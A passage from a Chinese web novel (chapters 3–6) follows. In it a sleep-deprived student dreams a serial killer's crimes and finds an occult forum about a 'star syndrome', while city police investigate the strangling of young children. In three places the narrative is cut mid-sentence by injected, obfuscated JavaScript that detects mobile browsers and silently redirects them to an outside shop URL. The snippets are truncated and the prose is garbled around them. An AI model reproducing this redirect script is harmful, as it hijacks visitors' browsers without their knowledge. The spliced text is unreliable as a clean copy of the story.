猝不及防被结束了问询。 江雪律那边的界面被迫弹出,他愣了几秒。他何其聪慧,一下子就猜到了,这个医生不信他。 那下一步该怎么办。 方才不仅是医生在摸他的底,江雪律也在摸这个医生的底,他能看出,这个平台网络免费问诊的医生水平有限,他应该去找专业的。 可当他打开专业医生的报价单,他在价格上定睛了片刻,选择放弃。 专业的心理咨询师太贵了,再加上一个疗程恐要数月,江美琴女士留给他的房子和遗产,只能供到他大学毕业。 他支付不起这笔高额的治疗费。 一时之间,他陷入了瓶颈。 不过这一次问答也不算完全没有收获。 他换了一条思路,不从梦境本身和为什么我梦到这些出发,选择从梦境降临的那一天追本溯源。 这一往上追溯,让他开启了一扇荒诞的大门。 那一夜发生了什么? 那一夜天空混沌,群星归位。 花费数日半月的摸索,江雪律弄懂了一件事。 七大洲四大洋中,日月星辰可照耀的角落,像他这般被噩梦纠缠的人有许多。有一些如江雪律般不受其扰、健康受损,徘徊在清醒与疯癫的边缘,神智疯狂下降。 得知自己的噩梦不是偶发、不是个人,而是一种集体性的癔症时,很难形容江雪律的心情。 原来全天下也不止他一个倒霉蛋。 然后他很快又得知了一件事。 有艺术家因为这场神秘的星象,获得了狂乱的天赋,他们一个接着一个创作出了不朽的作品——有小说家、画家、歌唱家等,据他们所说,漆黑的帷幕中星星划过,赐予了他们神秘的天赋。 他们说:“我劈开了时空迷雾,迈入了那段暗黑漫长的中世纪,在一缕晨曦的曙光中见到了伟大的——先贤,我如同一个蹒跚学步的婴儿,每个夜晚都匍匐在先贤脚边,如饥似渴地聆听着先贤的教导……” 画家说梦到了数百年前文艺复兴时期伟大的艺术家达芬奇,小说家说梦到了两百年前的恐怖小说教父爱伦坡,沐浴着先人光辉,他们原本平平无奇的职业生涯忽然大放异彩,即将走上人生巅峰。 得知这一点时,江雪律是茫然的,那他梦中的先贤是谁? 他的梦中只有恐怖、死亡和杀戮,他看不清梦中人的影子,少年记忆力极好,闭上眼睛还能回忆起一二。 遇事不决求助互联网,江雪律扯过键盘,磕磕绊绊地输入:东伦敦、杀害妓女、行走在迷雾中、连环杀手…… 剩下的不用输入了,万能的互联网直接弹出“猜你想搜——开膛手杰克。” 这个结果一出。 江雪律敲键盘的手停下,脑子空白,像是被人打了一棍似的。 他梦中果然没有先贤……只有一个世界史上犯下连续凶案、让英伦警方都束手无策的连环杀手,他的身份扑朔迷离,杀害妓女的动机又充满故事,以至于后世无数游戏小说家影视都热衷以他为原型进行创作。 难怪他的梦境与众不同,充满了血色厄运。 别人是艺术家,而他是杀人犯,为什么。难道人与人之间,还能这般截然不同吗? …… 爱贝尔幼儿园。 一如往常的吵闹,到处都是孩子活泼欢快的笑声,“老师老师,周杰他拉屎了!拉在自己裤子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639416|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!”所有人嘻嘻哈哈,一个小男孩窘迫地坐在小板凳上,小脑袋几乎要埋进地里,“我没有、我没有……呜呜呜哇我没有。” “大家不可以这样嘲笑周杰同学,每个人都有憋不住的时候。”随时关注情况的老师立刻站出来,给孩子擦眼泪,牵起孩子的手,“小杰,你跟老师去厕所好不好,以后有事要及时叫老师,不能憋着。” “嗯!” 刚哄好一个孩子,又来下一个。 “呜呜呜呜老师,他推我。”身穿花裙子的小姑娘,一屁股摔在地上,尘土弄脏了她白白的小手,玉雪可爱的小脸蛋满是泪珠。见状温柔的女老师立刻冲过去,把小女孩抱起来安慰,花了许久才把小姑娘逗得喜笑颜开。 虽然是自由活动时间,可其他孩子也不消停。 “老师,老师!纸张好小,我可不可以把蜡笔涂在白墙上。” “不可以哦。”女老师目光温柔,语气慈爱。 小男孩手里捏着五颜六色的画笔,大声喊:“为什么!”嗓门很大,透着一股不服。 “因为老师会打你的小手手。” “哼!!!不给你打!除非老师你陪我画画!给我弹小星星!” 老师被缠得没法,被领头的孩子拉走。一群孩子在画画,剩下的孩子在滑滑梯荡秋千做游戏,他们不知道,远远的有一双眼睛在注视着他们。 好不容易捱到放学,老师们松了一口气,这个年龄段的孩子精力旺盛,玩了一整天了还非常活泼。校门一打开,一个个就像雀鸟出笼,欢天喜地奔向了父母。 几个小时后。 这一日江州市警局十分忙碌,先是一对中年夫妻焦急忙慌地走进来,说自己儿子失踪了。 “我在家里做饭,一般这个时间点孩子就算跟朋友在公园玩,也早就回来了。我给老公打电话,给好多人亲戚朋友打电话,都没听到孩子的消息。” “我希望是虚惊一场,可是他真的没有回来……” 得知这个报案信息,警局所有人都脸色一变。 众所周知,儿童失踪案没有时间限制。警局内部立刻分出人手去孩子可能失踪、被拐的地点寻找。时间飞快过去两个小时,这批刚出发的警员,还没回来。 天色已晚,火烧般的晚霞在天空铺开,编织成网,将整座城温柔笼罩,这个时间点路灯未亮,蜿蜒曲折的河岸上吹起冷风,压弯了潮湿的芦苇丛。 江州市警察局电话突然急促地响起。 打电话是一个中年妇女,女人的声音沙哑,语气却十分惊恐。 电话信号不是很好,背景音十分嘈杂,还混着几声汪汪犬吠,“警察同志,我要报警,我在草丛里看到、看到一个孩子!” 接线员脸色倏然一变。 十分钟后,距离最近的警员赶往了现场。这里是河岸,附近的土地泥泞,报案的妇女惊慌失措地指了一个草丛,手指颤颤巍巍。 她说:“我在遛狗,我听到狗叫声走过去,看到一双小腿和衣服,我、我立刻转身跑了,我没敢看。” “于是你就把你丈夫、家里人都叫来了?”叫救护车也就算了,怎么七大姑八大姨都来了。 “是的,他们才来。” “叫他们来做什么?人多壮胆吗?”小警员是距离此处最近的外勤,此刻他脸上溢满了痛苦。 “我害怕啊警察同志!”丝毫没意识到有什么不对的妇女哭哭啼啼,天哪,遛狗撞见这种事,她害怕极了。这条路以后她是不敢走了! 妇女一哭,那条宠物犬也跟着狂吠,到处来回乱踩。 小警员绝望地发现,这附近的泥地本来是有脚印的。如今都被破坏了。事已至此,只能赶紧维护现场。 草丛后的东西还没确定,小警员走过去,小心翼翼拨开那一大片野草,这里地势平缓,低矮的灌木丛和野草抢占了一席之地,石头也多,有视野遮蔽的效果。 当拨开这些碍事的植物,见识草丛后的场景后。 小警员脸色煞白,深吸了一口气,转身道:“叫刑警队吧。” 4. 第四章 什么案子要叫刑警队,自然是命案。 傍晚,天已经完全黑了。闪烁红蓝警笛的车快速赶往小河岸,一路堪称风驰电掣,夜色中,警用白灯打开,河岸边拉起了黄色警戒线,几名同志在紧急保护现场。警戒线外全是看热闹的围观群众,任维持秩序的警员怎么驱赶都不听。 这里本来道路就狭窄,人之多堵得水泄不通,刑警队的车大排长龙,让场面看上去更壮观。 发现这车是真的进不去了,一辆警车只能强行刹车,车门打开,一条大长腿走下来,身后跟着一拎勘察箱的痕检员还有法医。 这仗势实在吓人,围观群众一下子更来劲了,“原来真的死人了!” 小警员立刻起身相迎,“秦队!” 远远走来的大长腿,是一个成熟的男人,身材高大,看上去三十不到,浑身散发着“精英”的气息。再走近几步,鼻梁高挺,浓眉深目,五官轮廓因过于张扬俊朗显得突出。 正是江州市局刑侦支队队长。 这人一出现,围观群众的目光都跟着对方转了。 这么年轻就当上市局支队的相当少见,不过秦支队的功绩赫赫在警局内部说也说不完,七八年前就以警校第一的成绩毕业,一路履破奇案大案,光是被对方亲手逮捕送入监狱的逃犯悍匪都数以百计,被他亲手端过的犯罪团伙两个巴掌也数不过来,这些精彩纷呈的履历流血流汗拿命换来的。俗话说,“三等功流大汗,二等功致伤残,一等功拿命换。”豁出去的不要命,敢在一线跟犯罪分子搏斗,还能活下来,没死没伤,升迁自然快。 秦居烈颔首,没时间多废话,他走在中间,身后跟着几个年轻脸嫩的见习警察。 一双双锃亮的黑皮鞋,避开现场勘查划出来的地,踩在野草碎叶子上有轻微声。 往灌木丛里一看,看到破坏严重的现场,秦居烈愣了一下,随后脸色十分难看。 到底是年纪轻轻就当上支队长的人,平日里随和可亲,没有领导架子,可一旦冷下脸,周遭人噤若寒蝉。 其他人不敢吭声,跟在他身后边的见习警自然也是,大气也不敢出。 法医、勘察员也笑不出来,瞧瞧这满地的鞋印,凉鞋,运动鞋、平底鞋、马丁靴,怎么还有高跟鞋的?深呼了一口气。 “现场怎么破坏成这样了?接线员怎么通知的?没让报案人保护现场吗?” 这不是平白增加工作量吗?要知道野外的案发现场从尸体本身、周围湿度密度、鞋印、花草植被等,往往都隐藏着庞大的犯罪信息。可如今再看看现场,湿润的土壤泥地凌乱不堪,到处都是脚印,已经搞不清楚哪个是凶手的了。 “怎么还有狗毛?” 白手套拿起一搓毛发,法医脸色表情一寸寸皲裂,真的要抓狂了。 如果这是凶手家的狗毛,自然皆大欢喜,根据狗毛就能测定犬类品种,再一只只根据买卖市场追溯过去。 可他一路走来时,听到了不少狗叫,由此可见…… 果不其然,现场警员道:“那是报案人的狗。” 秦居烈一双眼睛扫视现场,他冷静下来,也勉强压下烦躁:“事已至此,迅速验尸。其余人调查围观群众,看看有没有目击者。” 众人听令,痕检员拿起闪光灯不断拍照,法医也在紧急验尸。 法医开始忙碌,围观群众也因此都能看到,一名七八岁的小男孩没有血色,安安静静地躺在草丛里,身上有浅浅淡淡的尸斑,白皙的胳膊肘和小腿有青紫伤痕,一时间抽气声此起彼伏。 “死人了果然死人了,还是一个孩子!” 初步结果也很快出来了。 法医走了过来,诉说他的验尸分析:“受害儿童脖颈处有明显掐痕,嘴上有胶带残留物,死因应是机械性窒息死亡,看掐痕大小和指痕属于一名成年男子,死亡时间大约两三个小时以前。受害人有挣扎的动作,但指甲缝被处理过,不确定指甲内是否还有残留DNA,要把孩子带回去才能进一步检测。” 他们还将儿童失踪案父母提供的照片,将眼前的孩子做辨认,确定是同一个人。 只不过比较残忍的是,父母提供的照片,孩子是爽朗微笑的,这里躺着的孩子是冰冷僵硬,没有呼吸的。 秦居烈低头看了一下手腕,那里戴着一块表,脸上神情十分平静,两三个小时前,那段时间正好是放学后。 而两个小时前,父母已经来警局报案了。 也就是,父母速度已经很快了,发现孩子没回来立刻果断报警。 众人心情一时有些沉重,心里不适。 比起那些父母疏忽大意导致孩子遇害的,这个案子父母报案已经很快了,重视程度击败了全国百分之九十九的父母,只是没想到,凶手比他们速度更快。 而且,到底是谁会对一个纯真无辜的孩子下手。 面对这孩子安静宛若睡颜的尸体,在场不少警员暗暗捏紧了拳头。 “还有秦队,这里的泥地湿润平整,受害人肢体不自然弯曲,鞋底也没有太多泥土,并没有踢蹬痕,衣物纤维有刮蹭痕迹,小腿手臂也有磨损,很可能是被装入后车厢或者行李箱。所以这里应该不是第一案发现场,而是凶手精心选择的一处弃尸地。” 秦居烈他本来是蹲在小尸体身边,深色警裤下的长腿挺拔笔直,隐隐还有肌肉线条,听到这句话他站起来,比旁人都高了半个头,更显鹤立鸡群。 某种意义上来说,这个凶手并不蠢,弃尸选择也很聪明。 小河岸距离主要交通道路也远,监控范围辐射不到这里,人迹罕至,看上去就是一片不宜久留、未曾开辟的野林草丛地。 其他人也认同这个看法。 不过也有一点疑惑摆在这里,凶手的弃尸地选择很高明,可隐藏尸体的手法却不是很隐蔽,这里草木丰茂,尸首也没遭到破坏。 如果想弃尸不被人很快发现的话,完全可以选择挖坑掩埋,这里的土壤本就湿润易挖,甚至破坏尸身面部,摧毁容貌不让人知道受害者是谁。 看似高明之处,又掉了一些破绽。 这一点就令人大惑不解,这到底是想被人知道,还是不被人知道。 说起高大的男子。 秦居烈一双锐利的眼落在围观群众中,他注意到一个男人,是报案人的丈夫,“排除报案人和其家属的嫌疑了吗?” “排除了,报案人是来这里散步遛狗的,属于偶然路过。” 如果不是恰好路过,兴许这尸体要到第二天才能发现,如果其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639417|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间恰好还下一场雨,许多证据直接就给冲没了。 而且报案人在草丛看到不对劲的东西,连是不是人体模型都不确定,第一时间想的是夺路而逃,打电话报警时也全程语无伦次,事后还广叫人壮胆。就这吓破胆的心理素质,估计也做不到丈夫杀人合谋隐瞒,再伪装成目击证人吧 秦居烈眉头一挑:“那她怎么选在这里遛狗?” 小警员老老实实道:“据她所说,这里偏僻,没多少行人,就可以不拴绳。” 市区有规定,遛狗必须拴绳,否则抓到罚款。不想给钱又想遛狗,可不就想跑远了遛,仗着没人看到。 这理由很有说服力,众人一时无语。 “那我们现在知道了,跟她说,罚金两百记得补交,法医把尸体带回去继续验,别放过任何一条线索。”说出这话的男人面容英俊,语气却十分平和冷酷还有无情,比如能面不改色地让一个遇到命案受到惊吓的妇女补交罚金。 说完,男人转身就走,临走时他似乎注意到了什么。 一双好似深潭般的黑眸,落在远处两公里外的电线杆上,重新吩咐道:“剩下的人去把附近的、包括受害者学校到逗留地一路的监控影像全部调出来。” “交代受害者家属前来认尸,顺便对受害人的学校、父母的家庭、社会背景展开调查,是否是牵涉到了什么情感利益纠纷,或者得罪了什么人。”一般来说,不会有人那么丧心病狂对孩子下手。 许多儿童被害案幕后真凶,都是对父母不满,知道孩子是父母的软肋,抓到孩子泄愤。 “今晚加班!” 男人大踏步往前,走路带风,临走时回头凝视了一眼,被法医小心翼翼装入裹尸袋的小男孩。也许是长期从事刑侦工作赋予的一种第六感,或者说敏锐的直觉,他总感觉这个案子没那么简单……可究竟不简单在什么地方,他又无法言说。 天哪又加班,众人脊背一挺,苦着脸大声道:“是!” 刑警队就是事情多,人命案子一件接着一件,自从进了市局,就没一天正常吃饭和正常上下班。 还好这个案子简单,只要监控一调,受害人家属的社会关系一排查,大致就能抓到真凶了,稍微加点班,三天内,不,两天内就能破案。 被迫加班的见习警察,本来还傻着呢,眼神里有紧张,还有一点清澈的懵懂,听了前辈分析,一下子也自信满满,摩拳擦掌。 这是他们上岗经历的第一个案子,难度并不高,还有一群精英前辈手把手带他们,必须给破了!要泼得完完美美、漂漂亮亮! 一开始正如他们所料,无论是搜查取证、摸排社会关系还有调查监控录像,事情一开展,顺利得不可思议,然后——线索很快也在这里断了。 好似一辆要直冲云霄的车,在半路上遇到了陡峭的断崖,一切干脆利落地戛然而止了。 而且很快,第二具孩子尸体出现了,同样的手法,她浸泡在河水里。父母手机里那如天使般精致可爱的容貌,黑眼珠子扑扇的笑颜,此刻被水泡得肿胀,纤细的脚踝被水草钩住,小小的身体随着水流沉沉浮浮,给了刑警队一个致命的打击。 他们这才意识到,小河岸案果然不是一桩简单的案子,而是一场连环案开启的序章。 5. 第五章 华灯初上,深紫色夜幕下的江州市高桥车水马龙,万千灯火交相辉映,几乎照亮整个夜空。 一栋花园小区里,一名穿着睡衣的少年正坐在电脑桌前上网。 少年的表情十分严肃认真,因为肤色苍白,电脑的荧光一照在侧脸和握着鼠标的手腕上,皮肉下的青色血管似乎都清晰可见,更显身体瘦削。 如果有人凑近一看,会惊讶的发现,电脑屏幕上赫然是一个外国论坛,里面混杂着无数种语言。 如果想在这里交流,除了精通多国语言的天才,否则没人能在这个论坛来去自如。 江雪律也是如此,他只能看懂英文,剩下他都是靠免费的翻译器逐字逐句翻译。 几天前他改变了思路自救,根据那一夜的星象找到了一个研究星体的网站,再通过那个网站主页留下的神秘符号,顺藤摸瓜摸到了这个论坛。 论坛里多是被噩梦纠缠的人,听他们痛苦的哀嚎声就知道了。 “我们做错了什么,要深陷这种梦魇之中,我的工作丢了,我的财富没了,我一无所有,一贫如洗……” “我可能是疯了,我每天醒来鬼使神差地创作梦魇般的雕像,我妻子惊恐地问我在做什么,我也不知道自己在做什么!她说要把我送进精神病院,我不能去,我去了,我的人生就毁了,有没有人救救我——” 江雪律原本以为这是一个梦境受害者抱团互助会论坛,直到他发现混论坛的数万人,有80%的人以“神的使徒眷族”自称。 这个论坛的性质,与他想象中截然不同,只看这些言论就知道了。 【[置顶]论坛主:能进入这里的人都是聪明人,你们或许困惑,自己身上为何会发生这样的异变,接下来就由我来解释。 “群星”所带来的梦境,每个人因人而异,据说只有极少数极端聪慧又体质敏感的人才能接收这份天赐,不可否认,在座的各位我们都是神的宠儿。】 宠儿? 似乎知道江雪律心里旺盛的吐槽欲,横跨大洋彼岸的论坛主继续道。 【全球七十亿人,看到那一夜星象的更是数以亿计,只有数万人接受这份恩赐,这概率难道不足以说明一切吗?】 【(英语)没错,时间尚短,不过已经有神秘学家在研究这种现象了,他们管这种症状叫“群星症候”】 这个言论后附上了一段视频。 一群研究神秘学的学者好似陷入癫痴狂热一般,不顾阻拦,跑进精神病院,将一些已经神智濒临崩溃、缠绵病榻的患者,当作活体标本来研究,手里唰唰唰记下许多文字,那一张张脸庞红得发热,眼神里皆是兴奋,在镜头里凑得很近,他们嘴里神神叨叨、翻来覆去只说着一句话,“群星、群星!” 给人一种毛骨悚然之感。 很难让人不联想,自己未来也是这样的下场。 【(波斯语)如果你相信,灰雾之上有主宰众生的诸神,我们该欣然接受这份神赐!】 【(德语)没错,神的能量强大,他选择信徒是随机的,你们健康受损、失去神智,是因为大部分容器承受不起这份恩赐,你们应该看看,有人死于噩梦,却也有人获得了超凡的天赋!】 言下之意似乎在说,神无罪,给你们机会,你们不中用啊! 这名网友放了一个手机拍摄的录像,还是一个前后对比的视频。视频一开头出现了一名年轻的卷毛男人,前半段这个男人似乎在音乐室里唱歌。 他一开腔,大家就知道了:平庸的歌喉,泯然众人矣。 可是下半段,男人却不在音乐室里了,他脸上洋溢着傲慢的笑容,他的气息变了。他站在露天喷泉前,伴着白鸽与玫瑰花引吭高歌,下一秒更是切换到了奥地利维也纳的金色大厅。 男人闭着眼睛,姿态落落大方又自信地亮出歌喉,那歌声如梦似幻,与先前截然不同,好似神灵附体。一洗先前的粗糙平庸,拥有了如魔鬼般能蛊惑众人的超凡歌喉,令台下观众乃至视频前所有听到歌声的人如痴如醉,一曲毕,掌声轰动如雷久久不歇! 江雪律也是如此,从听到歌声的第一秒,一种震撼顺着尾椎骨,冲上头皮,每一根神经都在爆炸,鸡皮疙瘩爬了满身。 这一刻他有百分之一的理智相信了,这是神赐的天赋。 【(德语)看到了吧,这是新活跃在外网的新贵,一夜爆红的天才!据他所说,他与数百年前男高音歌唱家精神共振,在路边一展歌喉被星探挖掘、遇人赏识,半个月后他就在维也纳音乐大厅登场演出了,此后往来皆是名流,出入都是高雅、奢华和名流荟萃的晚宴……你们唯恐避之不及的东西,世界各地有的是人甘之如饴,用那句华国话说,‘你之砒霜,他人之蜜糖’】 此话一出,论坛无数网友都陷入了沉默,难道快被噩梦逼疯了的他们,是身在福中不知福? 【(韩语)我好羡慕你们有这样的福气啊思密达】 一时之间,论坛宛若信徒聚会,陷入了无与伦比的艳羡与狂欢。除了少部分病入膏肓者依旧在痛苦,想寻找一根救命稻草自渡。剩下的人都积极地转变心态,好似天降甘露,于消瘦和苟延残喘中爆发出一点振奋,也认为这是神的恩典…… 江雪律并不在其中,他垂着头陷入沉思。 什么神赐的天赋,江雪律并不相信,他宁愿相信,这是高纬度的神偶然路过,随手拨给人间的一点种子,欣赏人间方寸大乱的样子。 否则为什么大多数人发疯,少数人崛起。 而他最初更是与一个百年前活在伦敦都市里恶名昭彰的连环杀手精神共振,看见他手起刀落,制造恐慌和话题,最后看他隐于迷雾、逍遥法外,从1888年至今收割无数的崇拜者。 后续更是梦到无数杀人噩梦。 这种能力有什么用? 这一沉思就过去了半个小时。 直到看了一眼电脑右下角的时间,发现这个点已经九点了,不早了,第二天还要上学,江雪律关掉电脑,慢慢爬上床。 英华的同学都以为,江雪律一定每天学习到凌晨一两点。实际上江雪律如果不受梦境困扰,每天只学习到八点,一般做完分内的作业、额外的试卷后就会上床休息。 玩一会儿手机安眠,然后饱受梦中疾苦。 这一夜他毫不意外地又做梦了。 第二天醒来后,刺眼的白光透过窗帘缝隙,溜到他枕边,照出一张犹存惊惧的侧脸,江雪律缓慢伸出手,摸了一下睡衣,果然又被自己冷汗湿透了。 昨晚的噩梦依然惊心动魄,他居然梦到了自己将魔爪伸向了小孩子。 …… 月亮星辰皆照耀的夜晚,城市那头的高中生都乖乖上床睡觉了。 江州市公安局门口还灯火通明,加班的效率就是高,命案才发生过去俩小时,受害人的验尸报告以及第一手资料就已经呈上来了。 “死者吕嘉乐,今年八岁,在燕台区实验小学就读,一年级学生,父母是本地有名的机械加工厂商。死因是扼喉导致的机械性窒息死亡,生前疑似被装入密闭式的隐藏空间,进行过秘密转移,后被弃尸小河岸。傍晚七点半被遛狗的路人发现。凶手行事谨慎,或者能掩人耳目,目前除了报案人,没有发现任何目击者。” 资料传给每一个人都看过了,最后一个人才放下。 “所以从现在起,彻查小学放学到案发时间点,这段时间沿路监控——注意了这个案子很可能是熟人或者仇家作案。” 这是警局内部,随便找了张桌子开的简单案情分析会,见习生纷纷拿起了纸笔。全都是二十来岁初出茅庐的小伙子,深知经验不足,勤奋来凑。 齐翎记得最勤快。 这是一个身材挺拔的小伙子,人五官端正,长相精神,本来从分局调入市局他是想干文员的。没想到市局人手不够,来了半个月,一直在跑外勤的路上,白皙的肤色有往小麦色演变的趋势。 这监控一看就是两小时,电脑显示器摆旁边,监控大屏幕被分成数以百计的小方格,密密麻麻的影像全是行人和汽车,人眼都要看花了。几名技侦从旁协助。 谁让这案子来得巧,不早不晚偏偏赶傍晚来,一时间,能准点下班的也得留下来 七八个大男人,全挤在这小小的监控室,每人一根烟和一杯泡得发苦的咖啡,几盒被吃干抹净的盒饭丢在垃圾桶角落,再加上跑外勤,外套捂得热散发出的汗臭味,熏得屋子什么味道都有。 烟雾缭绕,不知情的把脑袋往这一伸,还以为这里是吸烟室。 “找到了!找到了秦队!”一名技侦激动地站了起来,“我们排查了十八条主干道,最后从实验中学主干道附近五公里,到以小公园为中心方圆两千米的监控摄像头,以及两条小道,逐步缩小范围,还原了死者生前的行动轨迹……” 秦居烈嗯了一声。 这个案子本来不需要他出马,正好赶上他一个案子结束,这一摊派过来无缝衔接,局里也授意他找人带带几个新来的见习生,给他们练练手。 一个孩子的行动轨迹很好摸排,锁定了主干道后,屏幕上很快就出现了受害人吕嘉乐蹦蹦跳跳的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一名超市员工正忙着收银,听到红蓝警笛声,于百忙之中抽空望了一眼,既疑惑又纳闷,嘟囔了一句。 谁料他刚说完,下一秒他就看到面前出现了俩警官证,简直像电视剧一样,“请配合一下。”瞬间身子僵硬,再眼睁睁地看着顾客被疏散,现场被封锁。 这仗势闹得人心惶惶,这名超市员工条件反射地举起手,还不等盘问分分钟老实交代:“警察同志,我配合,我绝对配合,可是我什么都没干啊。” 眼前俩警察,一老一新。 老的看上去四十多岁,头发较少。年轻的大约二十出头,俊秀得不像话,唯一的共同点就是两人都穿着一身制服,神态也威严正直,板起脸时浑身上下透着一股凛然正气。 正义到什么地步,正义到做贼心虚的人看了,想遁地而走;没做亏心事的见了,也开始怀疑自己是否做了亏心事,否则怎么会被找上门来。 超市员工就是后者。 他已经开始绞尽脑汁拼命回忆,自己前半生做了什么。 这超市门面很大,墙上贴着职工值班表。 齐翎眼尖地注意到,昨天和今天贴着同一个人。那很好了,方便调查。 “昨天是你值班?” “是我。”超市员工小心翼翼回答,心里不明白到底发生什么事了,一颗心吊在嗓子眼里,登时五花八门的猜测都有。 “那你昨天见过这个孩子没有?”齐翎拿出手机,翻出一张照片,想交给对方辨认。 “这……”这似乎有点眼熟,可这样两只眼睛一个鼻子一张嘴的小孩子他似乎见过太多了,该说看过呢还是没看过呢。 超市员工攥紧手机,认认真真、仔仔细细看了无数遍,一时竟陷入沉默纠结。 许多人都以为,自己的眼睛锐利无比,如同一架照相机,所到之处,能精准无误地记住视野中的一切,什么一草一木、车牌号码乃至人的衣着五官。好似自己是一个自带强力储存卡的cpu。还常常扬言,通缉犯要是出现在我身侧,我分分钟认出他,抓他去公安局领赏钱。 实际上,大多数人都做不到,更多的是昨天一起坐电梯的人,估计睡一觉就忘了。通缉犯不作任何伪装,大摇大摆走在自己面前,大多数人也会视而不见,或者见了就忘。 老警察有经验,语重心长道:“别挣扎了,想不起来就说想不起来。” “那真的想不起来。”超市员工果断放下手机。 6. 第六章 想不起来就想不起来,两名警察毫不意外,他们四下扫了一眼,指了指超市内部上方几个黑黢黢又闪烁红点的机器。 “你们这里的监控请给我们看一下。” 超市员工立刻照做。 超市的监控每个月底统一清空覆盖,还好他们来得早,明天就会覆盖了,连忙拷贝出来。 接下来几人就一起拧眉了,正值下班放学的高峰期,超市人头流动太多了,老人成年人小孩几乎挤挤攘攘,其次是这监控摄像头摆放的位置根本不对,总对着货柜和收银台,顾客都只能看个后脑勺。 拷贝出来的影像里,全都是这名收银员头也不抬、走来走去,忙忙碌碌如一只小蜜蜂的身影。 收银台有什么好看的。 超市员工脸红了一下:“这是我们老板安排的,对着货柜是怕人偷东西,对着收银台是怕店员偷懒。”也防止员工监守自盗,什么收银着收银着,钞票就揣自己兜里了。 他们超市是私人产业,老板的第一家超市开在老家乡镇地区,雇佣的人手都是亲戚朋友,可能是经历过什么惨痛的故事吧,此后防内贼比防外贼还严。 齐翎也没想到会是这样子。这就难办了啊。 小孩子长得矮,在一片黑压压、乌泱泱的人群里本就不起眼,几个高个子一遮挡更是泯然众人。 老警察神色严肃地再翻监控,唯独年轻人没什么耐心,齐翎不信邪:“你仔细看看这个孩子,长得挺可爱的,你再看两眼,争取一下挖一挖记忆,看看有没印象。” 受害人吕嘉乐,一个八岁的小男孩确实长得十分俊俏,上了年纪的大人没事都喜欢多看几眼。 超市员工哀嚎:“警官,我真的没印象,那个时间段我虽然值班,但全程忙着收银,你们也看到了,我头都没抬一个。那个时候又是放学高峰期,这附近有多少中学小学您也知道吧……” 他们这家超市位子地段选得好,人来人往从不缺客源。 老板为了吸引儿童顾客,还打造了好几个玩具橱柜,上面全是昂贵和时下流行的ip玩具,所以每到放学时,小学生和中学生永远是不缺的,喜欢在货柜前打打闹闹,买不起也不愿离去。 如果说一个孩子就是五百只鸭子,高峰期那数万只鸭子他怎么可能看得过来。 齐翎叹了一口气。 还好线索并不完全断了,吕嘉乐本人进了超市,却没有出去,这里可挖掘的点太多了,很可能吕嘉乐就是在超市里失踪的。 “你们这里有后门吗?” 老警察看到了疏散通道这个绿色荧光标识,也注意到员工休息室,隔着手套上去拧了拧门把手,一下子就开了,他诧异道:“你们员工休息室都不锁的?” 那挂这个“非员工止步”的牌子有什么用!? 超市员工探头一看,神色无奈:“警官,超市每天人流量那么多,休息室挂了‘非员工止步’这几个字,素来就是防君子不防小人。如果有人当没看到,非要进,我们也没办法。” “里面有监控吗?” 吕嘉乐本人很可能就走了后门。 “没有。” 员工休息室与换衣间、储物柜挂钩,绝对不可能安装监控。市区员工跟乡镇地方的不一样,要是感觉自己权益被侵犯了,心生愤怒,一告一个准,超市准得赔得倾家荡产。 “叫痕检过来化验,看看上边有无受害者指纹。” 老警察小心地卸下把手。 另外,受害者死前口边有胶带残留……“你们超市这几日售出的某牌子胶带记录清单我看一下,能追溯多少日,就看多少日。” 为什么又要看胶带销售记录,胶带虽然不是什么畅销货,却也是日常用品,这个月都不知道卖出去多少了。而且凶手也未必会选择在他们超市购买胶带啊。 超市员工茫然着,被指挥得团团转噼里啪啦,在电脑上操控着调取清单。 检查结果很快出来了,门把手上全都是员工指纹,被覆盖得密密麻麻,提取起来很不容易,却仍然能看到受害人的半枚小指纹。 说明他们的判断是正确的:受害人吕嘉乐自己走了后门。 所以他进了超市,却没有出来的影像。 老警察前往后门,发现这个后门通往小巷子,位于两个高楼之间,视线昏暗还堆满了臭气熏天的垃圾桶。 他左右张望了一下,“后门没有监控器吗?” “没有……” 后面都是垃圾桶,要监控器干什么,也没有人会偷垃圾。员工下班把超市铁门一拉,大多数都走后门,顺便把垃圾提走。 “所以……受害人走了后门,在这里就追查不到了。” 线索到这里就断了一半。 很可能他在后门就被人掳走了。 至于受害人为什么要走后门,是有人蛊惑他,那这个人是熟人还是陌生人?还是小孩子单纯想抄近路走后门,人死如灯灭,他们暂时不得而知。 另一边,齐翎也有收获,他眼尖地发现了一名穿着超市制服的员工在货架上补货,“这个人是谁,能传唤他吗?” 超市员工凑过来一看,“是李生,他昨天也在。昨天我负责收银,他负责补货,至于传唤他,警官不用了,他今天值的早班,估计已经来了。” 一切就是这么凑巧。 话音刚落,一名头发凌乱打着哈欠、睡眼惺忪的男人就走了过来,跟监控上的员工脸如出一辙,这种困倦极不正常……案发时候在超市,有机会邂逅受害人,加之这名员工也身材高大…… 